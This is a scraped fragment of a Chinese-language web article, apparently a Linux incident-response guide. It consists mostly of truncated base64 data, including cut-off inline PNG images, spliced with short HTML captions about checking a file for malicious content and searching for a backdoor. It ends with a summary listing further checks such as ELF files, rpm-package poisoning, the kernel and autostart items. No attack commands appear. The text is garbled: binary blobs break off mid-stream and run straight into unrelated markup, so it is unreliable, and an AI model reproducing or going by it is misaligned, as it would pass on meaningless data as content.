grvTldbi+I338SvqanIue8+tBcUXJTHIYR4ZjAaodMbBrobhBBCCCGEEEIuMZ3eQJOECSGEEEIIIYQQQgghhJDBzMxZ/kvVwgcv69/G+rci/YaC4X2k27sXNdOmoeHee2EqLr5kj1v1739j79SpOL1mDTid7pI9LiEEYDkOGi197gghhBBCCCHkt0qj1YHlaKCSEEIIIYQQQgghhBBCCCGEDC4UDO+DpieeQO28edAfPz5gfSh9/33smTQJih9/HLA+EPJbo6VQOCGEEEIIIYT85tG5ISGEEEIIIYQQQgghhBBCCBlsKBjeC6bSUtTOmYOWV18d6K4AALRVVci87TYUPP30QHeFkCueVqenqnCEEEIIIYQQQsByHLQ6/UB3gxBCCCGEEEIIIYQQQgghhBAbCob3kG7vXtTMmAHdgQMD3RUH5//+d2TedhvMBsNAd4WQKxLLstDT54sQQgghhBBCSCe9wQCWZQe6G4QQQgghhBBCCCGEEEIIIYQAoGB4j6i//x618+aBq68f6K64pPjxRxxetAgGlWqgu0LIFUerp1A4IYQQQgghhBB7dK5ICCGEEEIIIYQQQgghhBBCBgsKhntJ/e23UN5440B3wyvNmZk4tmQJDI2NA90VMkjk5uZg184dyM3N6XNb/dXO5cZgNFIVOEIIIYQQQgghDliWhcFoHOhuEEIIIYQQQgghhBBCCCGEEALRQHfgcqDdvRvKpUsHuhs90pqbi6zbbsOMHTsgEIsHujuXlV07d0Aml0Muk0Mml/epHaVC6fS+5Xff3et2e+Pnnbuwa+cOAIBMLkdaWjpS01KxYOGiHrWza+cOvLRxo60duVyO1NQ0pKanIS0tvd/7PZjoqAIcIYQQQgghhBAXdHoDpBLJQHeDEEIIIYQQQgghhBBCCCGE/MYxPM/zA92JwcxUVISamTPBXaTq21xSEs7W1V2UtgEg5vrrMfnzzy9a+1ea3NwcPLJyJQAgLT0d1y5YgLS09F4FxG9eugRKhcLpfQePHO1TP3vqqhnTnd6elp6Ot999z+t2Hnl4JXJznFcLf/u9967YcLjeYIBWpx/obhBCCCGEEEIIGcT8fH3gI5UOdDcIIYQQQgghhBBCCCGEkN889p+W4qeiP68f4J4Qd+jvdHFQxXAP6les6HUo3HfOHIjj4+Eze7bt3w7EYgxh2T700DPVgQOI7OzDxbBr5w7k5eZdtPbdWb5iRZ+qenelVChsoXAAyM3JQW5ODmRyOZavWNHrgPhAs1YKd+baBQu8bic3N8dlKBzAFRsKBwC9gZYEJ4QQQgghhBDint5gpGA4IYQQQgghhBBCCCGEEEIIGVAUDHejcfVq6I/2vLKz75w5iN23z+vtxT1+hJ7xGzYMDXv3Imru3IvS/s+7drkNDF9My1es6Le2Xnpxo9PblQoFXtq40VZBfMHCRf32mJfCSxudPy8AUCqU2LJpk8v7ZXKZ7fl+unmzy+3S0tPdttPd8rvv9nrbgWYwGmE2mwe6G4QQQgghhBBCBjmz2QyD0QipRDLQXSGEEEIIIYQQQgghZFAyn8sFu+klmDP3AgbdQHdncJH6QjBlLkR3r4VgdNpA94YQQshljILhLmh/+QWtb77Zo33E8fGI2rLFeWXwARY4ahTMej0EPj4D3ZVBacumTR7D7dYK4nm5eVi7/vJYusBTWHvLZvf3p6WnY8HCRR6rhVtfG29
使用Inf0命令查看文件恶意形式</p>
<p><a id=img27 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095123-cb27db28-17dd-1.png><img src="data:image/png;base64,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
<p>浏览器搜索后门是否存在</p>
<p><a id=img28 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095128-ce1ec1ac-17dd-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACT0AAAZVCAYAAADiWOdhAAEAAElEQVR4nOzde3zT9d3//2eaNk3blB4ELSjVVry0FScFhgJ1u6yyDZh4APWyeBjiYV6CXnLwvCmbiAroT8FLRRnzAH4VUMEBlwPqtVFgY0KZQquX2Coo1IE9QNqmaQ6/P9qkSZukKT2khcf9duuN5PP55P1559A0fD7PvF4Gt9vtFgAAAAAAAAAAAAAAAAD0ElGRngAAAAAAAAAAAAAAAAAAtAehJwAAAAAAAAAAAAAAAAC9CqEnAAAAAAAAAAAAAAAAAL0KoScAAAAAAAAAAAAAAAAAvQqhJwAAAAAAAAAAAAAAAAC9CqEnAAAAAAAAAAAAAAAAAL0KoScAAAAAAAAAAAAAAAAAvQqhJwAAAAAAAAAAAAAAAAC9CqEnAAAAAAAAAAAAAAAAAL0KoScAAAAAAAAAAAAAAAAAvUp0pCcAACcSh8slu9OlBqdLDpdbTrdLLrdbbnekZ3ZiMhikKINBRkOUoqMMijFGyWSMUnQUmV4AAAAAAAAAAAAAOJEZ3G5OxQNARzhcLtU1OGVzOOVwuSI9HUiKjoqSOdqouBgjASgAAAAAAAAAAAAAOAERegKA42R3ulRjb5DN4Yz0VBCCOdqoBFOMTEbCTwAAAAAAAAAAAABwoiD0BADt5HS7day+QXUNjkhPBe0QFxOtxNgYGQ2GSE8FAAAAAAAAAAAAANBBhJ4AoB1qGxw6Wm8X75y9k8Eg9Yk1KT4mOtJTAQAAAAAAAAAAAAB0AKEnAAhTtc2uWqo7nRDiY6KVZDZFehoAAAAAAAAAAAAAgONE6AkA2uCWVFlXr3qHM9JTQSeKjTYqJS5WNLsDAAAAAAAAAAAAgN4nKtITAICezC2popbA04mo3uFURW29SP4CAAAAAAAAAAAAQO9D6AkAQqisq5fdSeDpRGV3OlVZVx/paQAAAAAAAAAAAAAA2onQEwAEUW2zU+HpJFDvcKraZo/0NAAAAAAAAAAAAAAA7UDoCQACqG1wqLbBEelpoJvwfAMAAAAAAAAAAABA70LoCQBacLrdOlpP5Z+TzdF6u5xud6SnAQAAAAAAAAAAAAAIA6EnAGjhWH2DyL6cfNzuxuceAAAAAAAAAAAAANDzEXoCAB92p0t1J22bs0rt2/JXbd/yuao7a8gfPtf2LX/Vvh86a8CuVdfgkN3pivQ08MPn2rptqz7vJa8bAAAAAAAAAAAAAN0vOtITAICepMbejZV+nHbVHqtR5+/RpPjEBMUY23u7z7XxuYXarp/onkvO0/B27/d7bZrzgNZ8O1K3vXqnLpSkfev00nN/1cgHfqJBp7RjKFuNqm1WHf7yC333dYkOpl+nGy5KafeMjkeNvUGmuNhu2ddxcTXoaHVdlwwdl9RHMZ44dP1RHa0NtmW04lLiFdMpez2kjfOf1Z//dYHy59+sHEkq3ag3Xt+jwbeN1nnted3UH9XR2hodLC1V+YGvdChtnG64uG+nzBIAAAAAAAAAAABAz0LoCQCaOFwu2RzO7tth+Rr9bvpbOtjpAw/UpEWLNeH0Th+4DQ2qraxU9Q/W0EGusvVauq606YpV333xuQ7bmkY4WqnaQDc+NUGjLrpRZ3buhAOyOZxyuFyKjuqhxRDL1+vpOet1pNMH7qtxj83VlQMarx3a8LQe3xBsL4M19ZVbFLNyhf5e2d79nK2f3TFGmT5Lao8e1dGj1aFfN6Ub9fKmr5quNOjI1/tV3XQDR93RwK+blBhddPENfvsCAAAAAAAAAAAAcGIg9AQATeoaujHw5CshU8MvOlsJHR7Iqq//vl3f1HTCnLrSv0r0l4K/BlhhUvwpKUqSlHzmcJ2VLMWcdq7OSYtV0hnDNKAbp1jX4FRibA8NPXnE9td5g9MU1+GB6lS+53Mdqg+2n3j1iW36uOCq01FrgxQVoxjVaP+nRSr6V3v316ChGtP+INIPn6to554AK2IU36eP+sRJCf3PVppFij/1PJ19aoySTs/RwPbuBwAAAAAAAAAAAECvQOgJAJp0a5UnX6eM0qRp13ZCqOdbrd3XC0JPTQZMfE5PTe6ZNXhsDqcSYzuneVuXScrRf9xxpfp3eKBDWvObx3UoSHipb979mntV415q//Kc7lvxuXTuBTpXSep7zc3q2+5Oe6d0qPJS30sf0Nz/6JmvGwAAAAAAAAAAAADdh9ATAKixtZ3D5Yr0NLrO3xfq5qcDVVcK5K964Zq2tx35wBrddVEH5mQydeDGXcvzeuixLe4iZM+ezyVJ5+XkKF7xis8Z3f2VlMwdr20FAAAAAAAAAAAAoPcj9AQAkuzOyAeeDq6cpgffPnBctx1ww4t66tpOntBJzu7sHaGnQx88osc3HDmu2/Yd+7jmXhXmxq49+uwLSTpPOT+OP679AQAAAAAAAAAAAEBnIfQEAJIaekDoKSYhRUmnWAOssav2hxo1yKT4UxIUqOlackKMpIa2d3LJg3rjvpGB1323Ug9Of0sH9RPd895MDQ8yxCfPXakXtrS9q96uwelSwAe7p4nvoz597AFWOFR3tFYNilF8n7iAf/D7tCe7VPx3FdVLOnOwhpJ5AgAAAAAAAAAAABBhhJ4AQJLD5Y70FNRv3O+1aFygNdv10jVPabsu1m2vBg8jSd92bAI2q2okKT1dAzo00N/02u2/0uuS1FAjSfrkpV9p+mvS6Vc/rQdPadzq4PuPavqfwxlvoK783e91ef8OTardesJrIhz9f/aA5v8s0JodWnTnUu3Rubph/nSNCDrCobD2s+cfRWqQNHD4RerTUKujVsdxzdcj2tJH8X6hsi/09uzZWilJjrrGJStma/a7Ut8xM/RASuNWRwqe0eyt4Xx86aufzXxAY9I6NE0AAAAAAAAAAAAAPRShJwCQ5HRHvtJTpDV8c0DVktQ3Wf06a9CYBCWdkhB4na1S1bZwBrGoNgJPD68JX6X6rLhB0kBd9OM+0u5Fmv3ang6NOPi2VzT9x0FWRsepT5+4wOvqa3W0Ppw9mCLyugEAAAAAAAAAAADQPQg9AYAkl7t3VPXpSl/u+1ySlJR+dge7urVRkervjf8MuOFFPZW1Tr/+7Xol3/Cinrr2jBYbfqtV0+/W2u9OVdIpHZrQceE14aP8M31xVFJMQmN1pugk9enTJ8jGbbfVk6SkVivaqEj1j8Z/+o59XHMHrde0RTuUNPZxzb2qZQmwA1r18BPa+ENfJSW3dccAAAAAAAAAAAAA9FaEngBAUs/It+zUG7cv8mQ7fNhVK8mvbZyfkbrt1Tt1YUd27fxU27c0tqKr/t/39cmEmRqe3JEBw3TKaeon6ZtvDkhqEXqyleib7ySdnqlzzN0wlxZ6xmsiHEV6Y/YKfdZquUNNTeKa28b5uUD5829WTji7SLtSU3+2Q0/8+XO9vWyrcqbfrPlBbxhuW70O6NtXfSUdOlAqqUXoqfYrHfhB0ikDdXZ8V+wcAAAAAAAAAAAAQE8QFekJAAAir/YvH+gvNU1Xqv6qF+68T6tKakLeplP0z9Q5CZK++FzftFy3r1RfSoq/4Eca0PUzQRsGXj1V/54iNexZpbc71tmu49LO1sBYSfv3q7TlutKv9JWkmHPO08DunxkAAAAAAAAAAACAbkKlJwCQZDD0hMo+w3Tzq3/Uza2Wb9dL1zyl7d62cXZ988/PlTz4R0oydsJua7brtWU7JUkDbnhOd2mRfvd2qdY+cru+mfacZuad1t4BVVNVqWqfJTHmFMUHrNZ0ns48V9Kuz/VllXRmcvOa4m1/Ua2kkRf+qJ377xwGQ0R2exxydHPAskstKy41qPTTL9R38GD1OZ7Ic1Smrhx/nv73rc+1Y9NW3TB4tBoLKR3Snn84dO6wgYoJNq6rQQe+q9bAgX1D7MCh2sqjOuq7KL6P+sQG2jZTZ58l7fjiK31VKWWmNK/Z848iNUgaPHhwO+4
<h1 id=toc-7>总结</h1>
<p>我们通过上述的一部分应急响应操作可以让大家对实际流程有一个大概，但是其中还有许多的操作，比如二进制或者可执行文件elf,so,out文件，还有rpm包投毒检查，内核检查，自启动项等。大家可以参考一下，如果有时间也可以具体实践一下，因为思路跟上了可能命令等不熟悉等等情况存在。</p>
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